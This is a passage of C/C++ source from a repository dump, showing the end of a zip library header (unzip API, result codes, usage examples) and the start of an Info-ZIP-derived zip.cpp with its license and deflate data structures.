 67 | // If nothing was found, then index is set to -1 and the function returns
 68 | // an error code.
 69 | 
 70 | ZRESULT UnzipItem(HZIP hz, int index, const TCHAR *fn);
 71 | ZRESULT UnzipItem(HZIP hz, int index, void *z,unsigned int len);
 72 | ZRESULT UnzipItemHandle(HZIP hz, int index, HANDLE h);
 73 | // UnzipItem - given an index to an item, unzips it. You can unzip to:
 74 | // to a pipe:             UnzipItemHandle(hz,i, hpipe_write);
 75 | // to a file (by handle): UnzipItemHandle(hz,i, hfile);
 76 | // to a file (by name):   UnzipItem(hz,i, ze.name);
 77 | // to a memory block:     UnzipItem(hz,i, buf,buflen);
 78 | // In the final case, if the buffer isn't large enough to hold it all,
 79 | // then the return code indicates that more is yet to come. If it was
 80 | // large enough, and you want to know precisely how big, GetZipItem.
 81 | // Note: zip files are normally stored with relative pathnames. If you
 82 | // unzip with ZIP_FILENAME a relative pathname then the item gets created
 83 | // relative to the current directory - it first ensures that all necessary
 84 | // subdirectories have been created. Also, the item may itself be a directory.
 85 | // If you unzip a directory with ZIP_FILENAME, then the directory gets created.
 86 | // If you unzip it to a handle or a memory block, then nothing gets created
 87 | // and it emits 0 bytes.
 88 | ZRESULT SetUnzipBaseDir(HZIP hz, const TCHAR *dir);
 89 | // if unzipping to a filename, and it's a relative filename, then it will be relative to here.
 90 | // (defaults to current-directory).
 91 | 
 92 | 
 93 | ZRESULT CloseZip(HZIP hz);
 94 | // CloseZip - the zip handle must be closed with this function.
 95 | 
 96 | unsigned int FormatZipMessage(ZRESULT code, TCHAR *buf,unsigned int len);
 97 | // FormatZipMessage - given an error code, formats it as a string.
 98 | // It returns the length of the error message. If buf/len points
 99 | // to a real buffer, then it also writes as much as possible into there.
100 | 
101 | 
102 | // These are the result codes:
103 | #define ZR_OK         0x00000000     // nb. the pseudo-code zr-recent is never returned,
104 | #define ZR_RECENT     0x00000001     // but can be passed to FormatZipMessage.
105 | // The following come from general system stuff (e.g. files not openable)
106 | #define ZR_GENMASK    0x0000FF00
107 | #define ZR_NODUPH     0x00000100     // couldn't duplicate the handle
108 | #define ZR_NOFILE     0x00000200     // couldn't create/open the file
109 | #define ZR_NOALLOC    0x00000300     // failed to allocate some resource
110 | #define ZR_WRITE      0x00000400     // a general error writing to the file
111 | #define ZR_NOTFOUND   0x00000500     // couldn't find that file in the zip
112 | #define ZR_MORE       0x00000600     // there's still more data to be unzipped
113 | #define ZR_CORRUPT    0x00000700     // the zipfile is corrupt or not a zipfile
114 | #define ZR_READ       0x00000800     // a general error reading the file
115 | #define ZR_PASSWORD   0x00001000     // we didn't get the right password to unzip the file
116 | // The following come from mistakes on the part of the caller
117 | #define ZR_CALLERMASK 0x00FF0000
118 | #define ZR_ARGS       0x00010000     // general mistake with the arguments
119 | #define ZR_NOTMMAP    0x00020000     // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
120 | #define ZR_MEMSIZE    0x00030000     // the memory size is too small
121 | #define ZR_FAILED     0x00040000     // the thing was already failed when you called this function
122 | #define ZR_ENDED      0x00050000     // the zip creation has already been closed
123 | #define ZR_MISSIZE    0x00060000     // the indicated input file size turned out mistaken
124 | #define ZR_PARTIALUNZ 0x00070000     // the file had already been partially unzipped
125 | #define ZR_ZMODE      0x00080000     // tried to mix creating/opening a zip 
126 | // The following come from bugs within the zip library itself
127 | #define ZR_BUGMASK    0xFF000000
128 | #define ZR_NOTINITED  0x01000000     // initialisation didn't work
129 | #define ZR_SEEK       0x02000000     // trying to seek in an unseekable file
130 | #define ZR_NOCHANGE   0x04000000     // changed its mind on storage, but not allowed
131 | #define ZR_FLATE      0x05000000     // an internal error in the de/inflation code
132 | 
133 | 
134 | 
135 | 
136 | 
137 | // e.g.
138 | //
139 | // SetCurrentDirectory("c:\\docs\\stuff");
140 | // HZIP hz = OpenZip("c:\\stuff.zip",0);
141 | // ZIPENTRY ze; GetZipItem(hz,-1,&ze); int numitems=ze.index;
142 | // for (int i=0; i<numitems; i++)
143 | // { GetZipItem(hz,i,&ze);
144 | //   UnzipItem(hz,i,ze.name);
145 | // }
146 | // CloseZip(hz);
147 | //
148 | //
149 | // HRSRC hrsrc = FindResource(hInstance,MAKEINTRESOURCE(1),RT_RCDATA);
150 | // HANDLE hglob = LoadResource(hInstance,hrsrc);
151 | // void *zipbuf=LockResource(hglob);
152 | // unsigned int ziplen=SizeofResource(hInstance,hrsrc);
153 | // HZIP hz = OpenZip(zipbuf, ziplen, 0);
154 | //   - unzip to a membuffer -
155 | // ZIPENTRY ze; int i; FindZipItem(hz,"file.dat",true,&i,&ze);
156 | // char *ibuf = new char[ze.unc_size];
157 | // UnzipItem(hz,i, ibuf, ze.unc_size);
158 | // delete[] ibuf;
159 | //   - unzip to a fixed membuff -
160 | // ZIPENTRY ze; int i; FindZipItem(hz,"file.dat",true,&i,&ze);
161 | // char ibuf[1024]; ZRESULT zr=ZR_MORE; unsigned long totsize=0;
162 | // while (zr==ZR_MORE)
163 | // { zr = UnzipItem(hz,i, ibuf,1024);
164 | //   unsigned long bufsize=1024; if (zr==ZR_OK) bufsize=ze.unc_size-totsize;
165 | //   totsize+=bufsize;
166 | // }
167 | //   - unzip to a pipe -
168 | // HANDLE hwrite; HANDLE hthread=CreateWavReaderThread(&hwrite);
169 | // int i; ZIPENTRY ze; FindZipItem(hz,"sound.wav",true,&i,&ze);
170 | // UnzipItemHandle(hz,i, hwrite);
171 | // CloseHandle(hwrite);
172 | // WaitForSingleObject(hthread,INFINITE);
173 | // CloseHandle(hwrite); CloseHandle(hthread);
174 | //   - finished -
175 | // CloseZip(hz);
176 | // // note: no need to free resources obtained through Find/Load/LockResource
177 | //
178 | //
179 | // SetCurrentDirectory("c:\\docs\\pipedzipstuff");
180 | // HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,0,0);
181 | // CreateZipWriterThread(hwrite);
182 | // HZIP hz = OpenZipHandle(hread,0);
183 | // for (int i=0; ; i++)
184 | // { ZIPENTRY ze;
185 | //   ZRESULT zr=GetZipItem(hz,i,&ze); if (zr!=ZR_OK) break; // no more
186 | //   UnzipItem(hz,i, ze.name);
187 | // }
188 | // CloseZip(hz);
189 | //
190 | //
191 | 
192 | 
193 | 
194 | 
195 | // Now we indulge in a little skullduggery so that the code works whether
196 | // the user has included just zip or both zip and unzip.
197 | // Idea: if header files for both zip and unzip are present, then presumably
198 | // the cpp files for zip and unzip are both present, so we will call
199 | // one or the other of them based on a dynamic choice. If the header file
200 | // for only one is present, then we will bind to that particular one.
201 | ZRESULT CloseZipU(HZIP hz);
202 | unsigned int FormatZipMessageU(ZRESULT code, TCHAR *buf,unsigned int len);
203 | bool IsZipHandleU(HZIP hz);
204 | #ifdef _zip_H
205 | #undef CloseZip
206 | #define CloseZip(hz) (IsZipHandleU(hz)?CloseZipU(hz):CloseZipZ(hz))
207 | #else
208 | #define CloseZip CloseZipU
209 | #define FormatZipMessage FormatZipMessageU
210 | #endif
211 | 
212 | 
213 | 
214 | #endif // _unzip_H
215 | 


--------------------------------------------------------------------------------
/FileUpload/Client/zip.cpp:
--------------------------------------------------------------------------------
   1 | #include <windows.h>
   2 | #include <stdio.h>
   3 | #include <tchar.h>
   4 | #include "zip.h"
   5 | #include "unzip.h"
   6 | 
   7 | // THIS FILE is almost entirely based upon code by info-zip.
   8 | // It has been modified by Lucian Wischik. The modifications
   9 | // were a complete rewrite of the bit of code that generates the
  10 | // layout of the zipfile, and support for zipping to/from memory
  11 | // or handles or pipes or pagefile or diskfiles, encryption, unicode.
  12 | // The original code may be found at http://www.info-zip.org
  13 | // The original copyright text follows.
  14 | //
  15 | //
  16 | //
  17 | // This is version 1999-Oct-05 of the Info-ZIP copyright and license.
  18 | // The definitive version of this document should be available at
  19 | // ftp://ftp.cdrom.com/pub/infozip/license.html indefinitely.
  20 | //
  21 | // Copyright (c) 1990-1999 Info-ZIP.  All rights reserved.
  22 | //
  23 | // For the purposes of this copyright and license, "Info-ZIP" is defined as
  24 | // the following set of individuals:
  25 | //
  26 | //   Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois,
  27 | //   Jean-loup Gailly, Hunter Goatley, Ian Gorman, Chris Herborth, Dirk Haase,
  28 | //   Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, David Kirschbaum,
  29 | //   Johnny Lee, Onno van der Linden, Igor Mandrichenko, Steve P. Miller,
  30 | //   Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, Kai Uwe Rommel,
  31 | //   Steve Salisbury, Dave Smith, Christian Spieler, Antoine Verheijen,
  32 | //   Paul von Behren, Rich Wales, Mike White
  33 | //
  34 | // This software is provided "as is," without warranty of any kind, express
  35 | // or implied.  In no event shall Info-ZIP or its contributors be held liable
  36 | // for any direct, indirect, incidental, special or consequential damages
  37 | // arising out of the use of or inability to use this software.
  38 | //
  39 | // Permission is granted to anyone to use this software for any purpose,
  40 | // including commercial applications, and to alter it and redistribute it
  41 | // freely, subject to the following restrictions:
  42 | //
  43 | //    1. Redistributions of source code must retain the above copyright notice,
  44 | //       definition, disclaimer, and this list of conditions.
  45 | //
  46 | //    2. Redistributions in binary form must reproduce the above copyright
  47 | //       notice, definition, disclaimer, and this list of conditions in
  48 | //       documentation and/or other materials provided with the distribution.
  49 | //
  50 | //    3. Altered versions--including, but not limited to, ports to new operating
  51 | //       systems, existing ports with new graphical interfaces, and dynamic,
  52 | //       shared, or static library versions--must be plainly marked as such
  53 | //       and must not be misrepresented as being the original source.  Such
  54 | //       altered versions also must not be misrepresented as being Info-ZIP
  55 | //       releases--including, but not limited to, labeling of the altered
  56 | //       versions with the names "Info-ZIP" (or any variation thereof, including,
  57 | //       but not limited to, different capitalizations), "Pocket UnZip," "WiZ"
  58 | //       or "MacZip" without the explicit permission of Info-ZIP.  Such altered
  59 | //       versions are further prohibited from misrepresentative use of the
  60 | //       Zip-Bugs or Info-ZIP e-mail addresses or of the Info-ZIP URL(s).
  61 | //
  62 | //    4. Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip,"
  63 | //       "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its own source and
  64 | //       binary releases.
  65 | //
  66 | 
  67 | 
  68 | typedef unsigned char uch;      // unsigned 8-bit value
  69 | typedef unsigned short ush;     // unsigned 16-bit value
  70 | typedef unsigned long ulg;      // unsigned 32-bit value
  71 | typedef size_t extent;          // file size
  72 | typedef unsigned Pos;   // must be at least 32 bits
  73 | typedef unsigned IPos; // A Pos is an index in the character window. Pos is used only for parameter passing
  74 | 
  75 | #ifndef EOF
  76 | #define EOF (-1)
  77 | #endif
  78 | 
  79 | 
  80 | // Error return values.  The values 0..4 and 12..18 follow the conventions
  81 | // of PKZIP.   The values 4..10 are all assigned to "insufficient memory"
  82 | // by PKZIP, so the codes 5..10 are used here for other purposes.
  83 | #define ZE_MISS         -1      // used by procname(), zipbare()
  84 | #define ZE_OK           0       // success
  85 | #define ZE_EOF          2       // unexpected end of zip file
  86 | #define ZE_FORM         3       // zip file structure error
  87 | #define ZE_MEM          4       // out of memory
  88 | #define ZE_LOGIC        5       // internal logic error
  89 | #define ZE_BIG          6       // entry too large to split
  90 | #define ZE_NOTE         7       // invalid comment format
  91 | #define ZE_TEST         8       // zip test (-T) failed or out of memory
  92 | #define ZE_ABORT        9       // user interrupt or termination
  93 | #define ZE_TEMP         10      // error using a temp file
  94 | #define ZE_READ         11      // read or seek error
  95 | #define ZE_NONE         12      // nothing to do
  96 | #define ZE_NAME         13      // missing or empty zip file
  97 | #define ZE_WRITE        14      // error writing to a file
  98 | #define ZE_CREAT        15      // couldn't open to write
  99 | #define ZE_PARMS        16      // bad command line
 100 | #define ZE_OPEN         18      // could not open a specified file to read
 101 | #define ZE_MAXERR       18      // the highest error number
 102 | 
 103 | 
 104 | // internal file attribute
 105 | #define UNKNOWN (-1)
 106 | #define BINARY  0
 107 | #define ASCII   1
 108 | 
 109 | #define BEST -1                 // Use best method (deflation or store)
 110 | #define STORE 0                 // Store method
 111 | #define DEFLATE 8               // Deflation method
 112 | 
 113 | #define CRCVAL_INITIAL  0L
 114 | 
 115 | // MSDOS file or directory attributes
 116 | #define MSDOS_HIDDEN_ATTR 0x02
 117 | #define MSDOS_DIR_ATTR 0x10
 118 | 
 119 | // Lengths of headers after signatures in bytes
 120 | #define LOCHEAD 26
 121 | #define CENHEAD 42
 122 | #define ENDHEAD 18
 123 | 
 124 | // Definitions for extra field handling:
 125 | #define EB_HEADSIZE       4     /* length of a extra field block header */
 126 | #define EB_LEN            2     /* offset of data length field in header */
 127 | #define EB_UT_MINLEN      1     /* minimal UT field contains Flags byte */
 128 | #define EB_UT_FLAGS       0     /* byte offset of Flags field */
 129 | #define EB_UT_TIME1       1     /* byte offset of 1st time value */
 130 | #define EB_UT_FL_MTIME    (1 << 0)      /* mtime present */
 131 | #define EB_UT_FL_ATIME    (1 << 1)      /* atime present */
 132 | #define EB_UT_FL_CTIME    (1 << 2)      /* ctime present */
 133 | #define EB_UT_LEN(n)      (EB_UT_MINLEN + 4 * (n))
 134 | #define EB_L_UT_SIZE    (EB_HEADSIZE + EB_UT_LEN(3))
 135 | #define EB_C_UT_SIZE    (EB_HEADSIZE + EB_UT_LEN(1))
 136 | 
 137 | 
 138 | // Macros for writing machine integers to little-endian format
 139 | #define PUTSH(a,f) {char _putsh_c=(char)((a)&0xff); wfunc(param,&_putsh_c,1); _putsh_c=(char)((a)>>8); wfunc(param,&_putsh_c,1);}
 140 | #define PUTLG(a,f) {PUTSH((a) & 0xffff,(f)) PUTSH((a) >> 16,(f))}
 141 | 
 142 | 
 143 | // -- Structure of a ZIP file --
 144 | // Signatures for zip file information headers
 145 | #define LOCSIG     0x04034b50L
 146 | #define CENSIG     0x02014b50L
 147 | #define ENDSIG     0x06054b50L
 148 | #define EXTLOCSIG  0x08074b50L
 149 | 
 150 | 
 151 | #define MIN_MATCH  3
 152 | #define MAX_MATCH  258
 153 | // The minimum and maximum match lengths
 154 | 
 155 | 
 156 | #define WSIZE  (0x8000)
 157 | // Maximum window size = 32K. If you are really short of memory, compile
 158 | // with a smaller WSIZE but this reduces the compression ratio for files
 159 | // of size > WSIZE. WSIZE must be a power of two in the current implementation.
 160 | //
 161 | 
 162 | #define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1)
 163 | // Minimum amount of lookahead, except at the end of the input file.
 164 | // See deflate.c for comments about the MIN_MATCH+1.
 165 | //
 166 | 
 167 | #define MAX_DIST  (WSIZE-MIN_LOOKAHEAD)
 168 | // In order to simplify the code, particularly on 16 bit machines, match
 169 | // distances are limited to MAX_DIST instead of WSIZE.
 170 | //
 171 | 
 172 | 
 173 | #define ZIP_HANDLE   1
 174 | #define ZIP_FILENAME 2
 175 | #define ZIP_MEMORY   3
 176 | #define ZIP_FOLDER   4
 177 | 
 178 | 
 179 | 
 180 | // ===========================================================================
 181 | // Constants
 182 | //
 183 | 
 184 | #define MAX_BITS 15
 185 | // All codes must not exceed MAX_BITS bits
 186 | 
 187 | #define MAX_BL_BITS 7
 188 | // Bit length codes must not exceed MAX_BL_BITS bits
 189 | 
 190 | #define LENGTH_CODES 29
 191 | // number of length codes, not counting the special END_BLOCK code
 192 | 
 193 | #define LITERALS  256
 194 | // number of literal bytes 0..255
 195 | 
 196 | #define END_BLOCK 256
 197 | // end of block literal code
 198 | 
 199 | #define L_CODES (LITERALS+1+LENGTH_CODES)
 200 | // number of Literal or Length codes, including the END_BLOCK code
 201 | 
 202 | #define D_CODES   30
 203 | // number of distance codes
 204 | 
 205 | #define BL_CODES  19
 206 | // number of codes used to transfer the bit lengths
 207 | 
 208 | 
 209 | #define STORED_BLOCK 0
 210 | #define STATIC_TREES 1
 211 | #define DYN_TREES    2
 212 | // The three kinds of block type
 213 | 
 214 | #define LIT_BUFSIZE  0x8000
 215 | #define DIST_BUFSIZE  LIT_BUFSIZE
 216 | // Sizes of match buffers for literals/lengths and distances.  There are
 217 | // 4 reasons for limiting LIT_BUFSIZE to 64K:
 218 | //   - frequencies can be kept in 16 bit counters
 219 | //   - if compression is not successful for the first block, all input data is
 220 | //     still in the window so we can still emit a stored block even when input
 221 | //     comes from standard input.  (This can also be done for all blocks if
 222 | //     LIT_BUFSIZE is not greater than 32K.)
 223 | //   - if compression is not successful for a file smaller than 64K, we can
 224 | //     even emit a stored file instead of a stored block (saving 5 bytes).
 225 | //   - creating new Huffman trees less frequently may not provide fast
 226 | //     adaptation to changes in the input data statistics. (Take for
 227 | //     example a binary file with poorly compressible code followed by
 228 | //     a highly compressible string table.) Smaller buffer sizes give
 229 | //     fast adaptation but have of course the overhead of transmitting trees
 230 | //     more frequently.
 231 | //   - I can't count above 4
 232 | // The current code is general and allows DIST_BUFSIZE < LIT_BUFSIZE (to save
 233 | // memory at the expense of compression). Some optimizations would be possible
 234 | // if we rely on DIST_BUFSIZE == LIT_BUFSIZE.
 235 | //
 236 | 
 237 | #define REP_3_6      16
 238 | // repeat previous bit length 3-6 times (2 bits of repeat count)
 239 | 
 240 | #define REPZ_3_10    17
 241 | // repeat a zero length 3-10 times  (3 bits of repeat count)
 242 | 
 243 | #define REPZ_11_138  18
 244 | // repeat a zero length 11-138 times  (7 bits of repeat count)
 245 | 
 246 | #define HEAP_SIZE (2*L_CODES+1)
 247 | // maximum heap size
 248 | 
 249 | 
 250 | // ===========================================================================
 251 | // Local data used by the "bit string" routines.
 252 | //
 253 | 
 254 | #define Buf_size (8 * 2*sizeof(char))
 255 | // Number of bits used within bi_buf. (bi_buf may be implemented on
 256 | // more than 16 bits on some systems.)
 257 | 
 258 | // Output a 16 bit value to the bit stream, lower (oldest) byte first
 259 | #define PUTSHORT(state,w) \
 260 | { if (state.bs.out_offset >= state.bs.out_size-1) \
 261 |     state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); \
 262 |   state.bs.out_buf[state.bs.out_offset++] = (char) ((w) & 0xff); \
 263 |   state.bs.out_buf[state.bs.out_offset++] = (char) ((ush)(w) >> 8); \
 264 | }
 265 | 
 266 | #define PUTBYTE(state,b) \
 267 | { if (state.bs.out_offset >= state.bs.out_size) \
 268 |     state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); \
 269 |   state.bs.out_buf[state.bs.out_offset++] = (char) (b); \
 270 | }
 271 | 
 272 | // DEFLATE.CPP HEADER
 273 | 
 274 | #define HASH_BITS  15
 275 | // For portability to 16 bit machines, do not use values above 15.
 276 | 
 277 | #define HASH_SIZE (unsigned)(1<<HASH_BITS)
 278 | #define HASH_MASK (HASH_SIZE-1)
 279 | #define WMASK     (WSIZE-1)
 280 | // HASH_SIZE and WSIZE must be powers of two
 281 | 
 282 | #define NIL 0
 283 | // Tail of hash chains
 284 | 
 285 | #define FAST 4
 286 | #define SLOW 2
 287 | // speed options for the general purpose bit flag
 288 | 
 289 | #define TOO_FAR 4096
 290 | // Matches of length 3 are discarded if their distance exceeds TOO_FAR
 291 | 
 292 | 
 293 | 
 294 | #define EQUAL 0
 295 | // result of memcmp for equal strings
 296 | 
 297 | 
 298 | // ===========================================================================
 299 | // Local data used by the "longest match" routines.
 300 | 
 301 | #define H_SHIFT  ((HASH_BITS+MIN_MATCH-1)/MIN_MATCH)
 302 | // Number of bits by which ins_h and del_h must be shifted at each
 303 | // input step. It must be such that after MIN_MATCH steps, the oldest
 304 | // byte no longer takes part in the hash key, that is:
 305 | //   H_SHIFT * MIN_MATCH >= HASH_BITS
 306 | 
 307 | #define max_insert_length  max_lazy_match
 308 | // Insert new strings in the hash table only if the match length
 309 | // is not greater than this length. This saves time but degrades compression.
 310 | // max_insert_length is used only for compression levels <= 3.
 311 | 
 312 | 
 313 | 
 314 | const int extra_lbits[LENGTH_CODES] // extra bits for each length code
 315 |    = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0};
 316 | 
 317 | const int extra_dbits[D_CODES] // extra bits for each distance code
 318 |    = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13};
 319 | 
 320 | const int extra_blbits[BL_CODES]// extra bits for each bit length code
 321 |    = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7};
 322 | 
 323 | const uch bl_order[BL_CODES] = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15};
 324 | // The lengths of the bit length codes are sent in order of decreasing
 325 | // probability, to avoid transmitting the lengths for unused bit length codes.
 326 | 
 327 | 
 328 | typedef struct config {
 329 |    ush good_length; // reduce lazy search above this match length
 330 |    ush max_lazy;    // do not perform lazy search above this match length
 331 |    ush nice_length; // quit search above this match length
 332 |    ush max_chain;
 333 | } config;
 334 | 
 335 | // Values for max_lazy_match, good_match, nice_match and max_chain_length,
 336 | // depending on the desired pack level (0..9). The values given below have
 337 | // been tuned to exclude worst case performance for pathological files.
 338 | // Better values may be found for specific files.
 339 | //
 340 | 
 341 | const config configuration_table[10] = {
 342 | //  good lazy nice chain
 343 |     {0,    0,  0,    0},  // 0 store only
 344 |     {4,    4,  8,    4},  // 1 maximum speed, no lazy matches
 345 |     {4,    5, 16,    8},  // 2
 346 |     {4,    6, 32,   32},  // 3
 347 |     {4,    4, 16,   16},  // 4 lazy matches */
 348 |     {8,   16, 32,   32},  // 5
 349 |     {8,   16, 128, 128},  // 6
 350 |     {8,   32, 128, 256},  // 7
 351 |     {32, 128, 258, 1024}, // 8
 352 |     {32, 258, 258, 4096}};// 9 maximum compression */
 353 | 
 354 | // Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4
 355 | // For deflate_fast() (levels <= 3) good is ignored and lazy has a different meaning.
 356 | 
 357 | 
 358 | 
 359 | 
 360 | 
 361 | 
 362 | 
 363 | // Data structure describing a single value and its code string.
 364 | typedef struct ct_data {
 365 |     union {
 366 |         ush  freq;       // frequency count
 367 |         ush  code;       // bit string
 368 |     } fc;
 369 |     union {
 370 |         ush  dad;        // father node in Huffman tree
 371 |         ush  len;        // length of bit string
 372 |     } dl;
 373 | } ct_data;
 374 | 
 375 | typedef struct tree_desc {
 376 |     ct_data *dyn_tree;      // the dynamic tree
 377 |     ct_data *static_tree;   // corresponding static tree or NULL
 378 |     const int *extra_bits;  // extra bits for each code or NULL
 379 |     int     extra_base;     // base index for extra_bits
 380 |     int     elems;          // max number of elements in the tree
 381 |     int     max_length;     // max bit length for the codes
 382 |     int     max_code;       // largest code with non zero frequency
 383 | } tree_desc;
 384 | 
 385 | 
 386 | 
 387 | 
 388 | class TTreeState
 389 | { public:
 390 |   TTreeState();
 391 | 
 392 |   ct_data dyn_ltree[HEAP_SIZE];    // literal and length tree
 393 |   ct_data dyn_dtree[2*D_CODES+1];  // distance tree
 394 |   ct_data static_ltree[L_CODES+2]; // the static literal tree...
 395 |   // ... Since the bit lengths are imposed, there is no need for the L_CODES
 396 |   // extra codes used during heap construction. However the codes 286 and 287
 397 |   // are needed to build a canonical tree (see ct_init below).
 398 |   ct_data static_dtree[D_CODES]; // the static distance tree...
 399 |   // ... (Actually a trivial tree since all codes use 5 bits.)
 400 |   ct_data bl_tree[2*BL_CODES+1];  // Huffman tree for the bit lengths
 401 | 
 402 |   tree_desc l_desc;
 403 |   tree_desc d_desc;
 404 |   tree_desc bl_desc;
 405 | 
 406 |   ush bl_count[MAX_BITS+1];  // number of codes at each bit length for an optimal tree
 407 | 
 408 |   int heap[2*L_CODES+1]; // heap used to build the Huffman trees
 409 |   int heap_len;               // number of elements in the heap
 410 |   int heap_max;               // element of largest frequency
 411 |   // The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used.
 412 |   // The same heap array is used to build all trees.
 413 | 
 414 |   uch depth[2*L_CODES+1];
 415 |   // Depth of each subtree used as tie breaker for trees of equal frequency
 416 | 
 417 |   uch length_code[MAX_MATCH-MIN_MATCH+1];
 418 |   // length code for each normalized match length (0 == MIN_MATCH)
 419 | 
 420 |   uch dist_code[512];
 421 |   // distance codes. The first 256 values correspond to the distances
 422 |   // 3 .. 258, the last 256 values correspond to the top 8 bits of
 423 |   // the 15 bit distances.
 424 | 
 425 |   int base_length[LENGTH_CODES];
 426 |   // First normalized length for each code (0 = MIN_MATCH)
 427 | 
 428 |   int base_dist[D_CODES];
 429 |   // First normalized distance for each code (0 = distance of 1)
 430 | 
 431 |   uch far l_buf[LIT_BUFSIZE];  // buffer for literals/lengths
 432 |   ush far d_buf[DIST_BUFSIZE]; // buffer for distances
 433 | 
 434 |   uch flag_buf[(LIT_BUFSIZE/8)];
 435 |   // flag_buf is a bit array distinguishing literals from lengths in
 436 |   // l_buf, and thus indicating the presence or absence of a distance.
 437 | 
 438 |   unsigned last_lit;    // running index in l_buf
 439 |   unsigned last_dist;   // running index in d_buf
 440 |   unsigned last_flags;  // running index in flag_buf
 441 |   uch flags;            // current flags not yet saved in flag_buf
 442 |   uch flag_bit;         // current bit used in flags
 443 |   // bits are filled in flags starting at bit 0 (least significant).
 444 |   // Note: these flags are overkill in the current code since we don't
 445 |   // take advantage of DIST_BUFSIZE == LIT_BUFSIZE.
 446 | 
 447 |   ulg opt_len;          // bit length of current block with optimal trees
 448 |   ulg static_len;       // bit length of current block with static trees
 449 | 
 450 |   ulg cmpr_bytelen;     // total byte length of compressed file
 451 |   ulg cmpr_len_bits;    // number of bits past 'cmpr_bytelen'
 452 | 
 453 |   ulg input_len;        // total byte length of input file
 454 |   // input_len is for debugging only since we can get it by other means.
 455 | 
 456 |   ush *file_type;       // pointer to UNKNOWN, BINARY or ASCII
 457 | //  int *file_method;     // pointer to DEFLATE or STORE
 458 | };
 459 | 
 460 | TTreeState::TTreeState()
 461 | { tree_desc a = {dyn_ltree, static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS, 0};  l_desc = a;
 462 |   tree_desc b = {dyn_dtree, static_dtree, extra_dbits, 0,          D_CODES, MAX_BITS, 0};  d_desc = b;
 463 |   tree_desc c = {bl_tree, NULL,       extra_blbits, 0,         BL_CODES, MAX_BL_BITS, 0};  bl_desc = c;
 464 |   last_lit=0;
 465 |   last_dist=0;
 466 |   last_flags=0;
 467 | }
 468 | 
 469 | 
 470 | 
 471 | class TBitState
 472 | { public:
 473 | 
 474 |   int flush_flg;
 475 |   //
 476 |   unsigned bi_buf;
 477 |   // Output buffer. bits are inserted starting at the bottom (least significant
 478 |   // bits). The width of bi_buf must be at least 16 bits.
 479 |   int bi_valid;
 480 |   // Number of valid bits in bi_buf.  All bits above the last valid bit
 481 |   // are always zero.
 482 |   char *out_buf;
 483 |   // Current output buffer.
 484 |   unsigned out_offset;
 485 |   // Current offset in output buffer.
 486 |   // On 16 bit machines, the buffer is limited to 64K.
 487 |   unsigned out_size;
 488 |   // Size of current output buffer
 489 |   ulg bits_sent;   // bit length of the compressed data  only needed for debugging???
 490 | };
 491 | 
 492 | 
 493 | 
 494 | 
 495 | 
 496 | 
 497 | 
 498 | class TDeflateState
 499 | { public:
 500 |   TDeflateState() {window_size=0;}
 501 | 
 502 |   uch    window[2L*WSIZE];
 503 |   // Sliding window. Input bytes are read into the second half of the window,
 504 |   // and move to the first half later to keep a dictionary of at least WSIZE
 505 |   // bytes. With this organization, matches are limited to a distance of
 506 |   // WSIZE-MAX_MATCH bytes, but this ensures that IO is always
 507 |   // performed with a length multiple of the block size. Also, it limits
 508 |   // the window size to 64K, which is quite useful on MSDOS.
 509 |   // To do: limit the window size to WSIZE+CBSZ if SMALL_MEM (the code would
 510 |   // be less efficient since the data would have to be copied WSIZE/CBSZ times)
 511 |   Pos    prev[WSIZE];
 512 |   // Link to older string with same hash index. To limit the size of this
 513 |   // array to 64K, this link is maintained only for the last 32K strings.
 514 |   // An index in this array is thus a window index modulo 32K.
 515 |   Pos    head[HASH_SIZE];
 516 |   // Heads of the hash chains or NIL. If your compiler thinks that
 517 |   // HASH_SIZE is a dynamic value, recompile with -DDYN_ALLOC.
 518 | 
 519 |   ulg window_size;
 520 |   // window size, 2*WSIZE except for MMAP or BIG_MEM, where it is the
 521 |   // input file length plus MIN_LOOKAHEAD.
 522 | 
 523 |   long block_start;
 524 |   // window position at the beginning of the current output block. Gets
 525 |   // negative when the window is moved backwards.
 526 | 
 527 |   int sliding;
 528 |   // Set to false when the input file is already in memory
 529 | 
 530 |   unsigned ins_h;  // hash index of string to be inserted
 531 | 
 532 |   unsigned int prev_length;
 533 |   // Length of the best match at previous step. Matches not greater than this
 534 |   // are discarded. This is used in the lazy match evaluation.
 535 | 
 536 |   unsigned strstart;         // start of string to insert
 537 |   unsigned match_start; // start of matching string
 538 |   int      eofile;           // flag set at end of input file
 539 |   unsigned lookahead;        // number of valid bytes ahead in window
 540 | 
 541 |   unsigned max_chain_length;
 542 |   // To speed up deflation, hash chains are never searched beyond this length.
 543 |   // A higher limit improves compression ratio but degrades the speed.
 544 | 
 545 |   unsigned int max_lazy_match;
 546 |   // Attempt to find a better match only when the current match is strictly
 547 |   // smaller than this value. This mechanism is used only for compression
 548 |   // levels >= 4.
 549 | 
 550 |   unsigned good_match;
 551 |   // Use a faster search when the previous match is longer than this
 552 | 
 553 |   int nice_match; // Stop searching when current match exceeds this
 554 | };
 555 | 
 556 | typedef __int64 lutime_t;       // define it ourselves since we don't include time.h
 557 | 
 558 | typedef struct iztimes {
 559 |   lutime_t atime,mtime,ctime;
 560 | } iztimes; // access, modify, create times
 561 | 
 562 | typedef struct zlist {
 563 |   ush vem, ver, flg, how;       // See central header in zipfile.c for what vem..off are
 564 |   ulg tim, crc, siz, len;
 565 |   extent nam, ext, cext, com;   // offset of ext must be >= LOCHEAD
 566 |   ush dsk, att, lflg;           // offset of lflg must be >= LOCHEAD
 567 |   ulg atx, off;
